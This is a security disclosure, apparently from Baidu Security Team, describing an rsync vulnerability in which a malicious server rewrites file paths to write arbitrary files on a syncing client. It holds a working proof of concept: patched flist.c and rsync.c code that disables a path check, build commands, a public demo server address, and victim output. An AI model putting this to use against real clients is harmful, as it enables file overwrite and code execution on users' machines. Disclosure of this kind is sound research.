

Hi all:

In newest version rsync, Baidu Security Team found a vulnerability which is similar to wget ftp CVE-2014-4877 (<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-4877>). When a client uses parameter -a to synchronize files of the server-side (default), for example:

```
1. rsync -avzP 127.0.0.1::share /tmp/share
```

Rsync recursive synchronous all files, An attacker can hijack the file path by modifying the code of the server-side, allows remote servers to write to arbitrary files, and consequently execute arbitrary code.

### Vulnerability Details :

First I shared in the Rsync folder to write the following documents

```
1. [root@pentest rsync]# ls -lh
2. total 8.0K
3. -rw-r--r-- 1 root root 2 Oct 31 03:16 1.txt
4. drwxr-xr-x 2 root root 4.0K Oct 31 05:17 truedir/
5. [root@pentest rsync]# cd truedir/
6. [root@pentest truedir]# ls
7. pwned
8. [root@pentest truedir]# cat pwned
9. rsync test
10. [root@pentest truedir]#
```

Next I modify the server to send the file code, in the process of synchronizing, the path of file "pwned" can be blocked and changed into any path.

file: flist.c line:394

```
1. static void send_file_entry(int f, const char *fname, struct file_struct *file,
2. #ifdef SUPPORT_LINKS
3.     const char *symlink_name, int symlink_len,
4. #endif
5.     int ndx, int first_ndx)
6. {
7.     if(strcmp(fname, "turedir/pwned") == 0){
8.
9.         fname="/root/pwned.test"; //Arbitrarily path
10.
11.
12.     }
```

Then, verification occurs in the server-side and says "received request to transfer non-regular file /root/pwned.test 7 [sender]", But as an attacker, the code of the server-side can be arbitrarily controlled, Shielding the following code.

file:rsync.c line:405

```
1. /*
2.     if (iflags & ITEM_TRANSFER) {
3.         int i = ndx - cur_flist->ndx_start;
```

```
4.     if (i < 0 || !S_ISREG(cur_flist->files[i]->mode)) {
5.         rprintf(FERROR,
6.             "received request to transfer non-regular file: %d [%s]\n",
7.             ndx, who_am_i());
8.         exit_cleanup(RERR_PROTOCOL);
9.     }
10. }
11. */
```

The file "pwned" will be downloaded into forged path(/root/pwned.test).

### Vulnerability Demo :

Online test:

```
rsync -avvzP 106.185.33.114::yaseng /tmp/yaseng
```

### server-side(attacker):

```
[root@pentest rsync-3.1.1]# vim flist.c
[root@pentest rsync-3.1.1]# vim rsync.c
[root@pentest rsync-3.1.1]# make
perl ./mkproto.pl /*.c ./lib/compat.c
gcc -std=gnu99 -I. -I. -I./zlib -g -O2 -DHAVE_CONFIG_H -Wall -W -c flist.c -o flist.o
flist.c: In function 'send_file_name':
flist.c:1440: warning: unused variable 'file tmp'
gcc -std=gnu99 -I. -I. -I./zlib -g -O2 -DHAVE_CONFIG_H -Wall -W -c rsync.c -o rsync.o
gcc -std=gnu99 -I./zlib -g -O2 -DHAVE_CONFIG_H -Wall -W -o rsync flist.o rsync.o gene
atch.o syscall.o log.o backup.o delete.o options.o io.o compat.o hlink.o token.o uidli
ogress.o pipe.o params.o loadparm.o clientserver.o access.o connection.o authenticate
g.o lib/pool_alloc.o lib/sysacls.o lib/sysxattrs.o zlib/deflate.o zlib/inffast.o zlib
o zlib/crc32.o -lpopt
[root@pentest rsync-3.1.1]# killall rsync
[root@pentest rsync-3.1.1]# ./rsync --daemon
[root@pentest rsync-3.1.1]# cd /tmp/rsync/
[root@pentest rsync]# ls
1.txt truedir
[root@pentest rsync]# cd truedir/
[root@pentest truedir]# cat pwned
rsync test
[root@pentest truedir]#
```

### client-side(victim):

```
[root@localhost ~]# pwd
/root
[root@localhost ~]# ls -lh
total 0
[root@localhost ~]# rsync -avzP 106.185.33.114::yaseng /tmp/yaseng
opening tcp connection to 106.185.33.114 port 873
sending daemon args: --server --sender -vvlogDtprze.iLs . yaseng/

receiving incremental file list
created directory /tmp/yaseng
delta-transmission enabled
./
1.txt
      2 100%   0.09kB/s   0:00:00 (xfer#1, to-check=2/4)
truedir/
/root/pwned.test
     11 100%   0.09kB/s   0:00:00 (xfer#2, to-check=0/4)

sent 80 bytes  received 224 bytes  46.77 bytes/sec
total size is 13  speedup is 0.04
[root@localhost ~]# cat pwned.test
rsync test
[root@localhost ~]# ls -lh
total 4.0K
-rw-r--r--. 1 root root 11 Oct 31 05:17 pwned.test
[root@localhost ~]# ls -lh /tmp/yaseng
total 8.0K
-rw-r--r--. 1 root root  2 Oct 31 03:16 1.txt
drwxr-xr-x. 2 root root 4.0K Nov  2 11:51 truedir
[root@localhost ~]#
```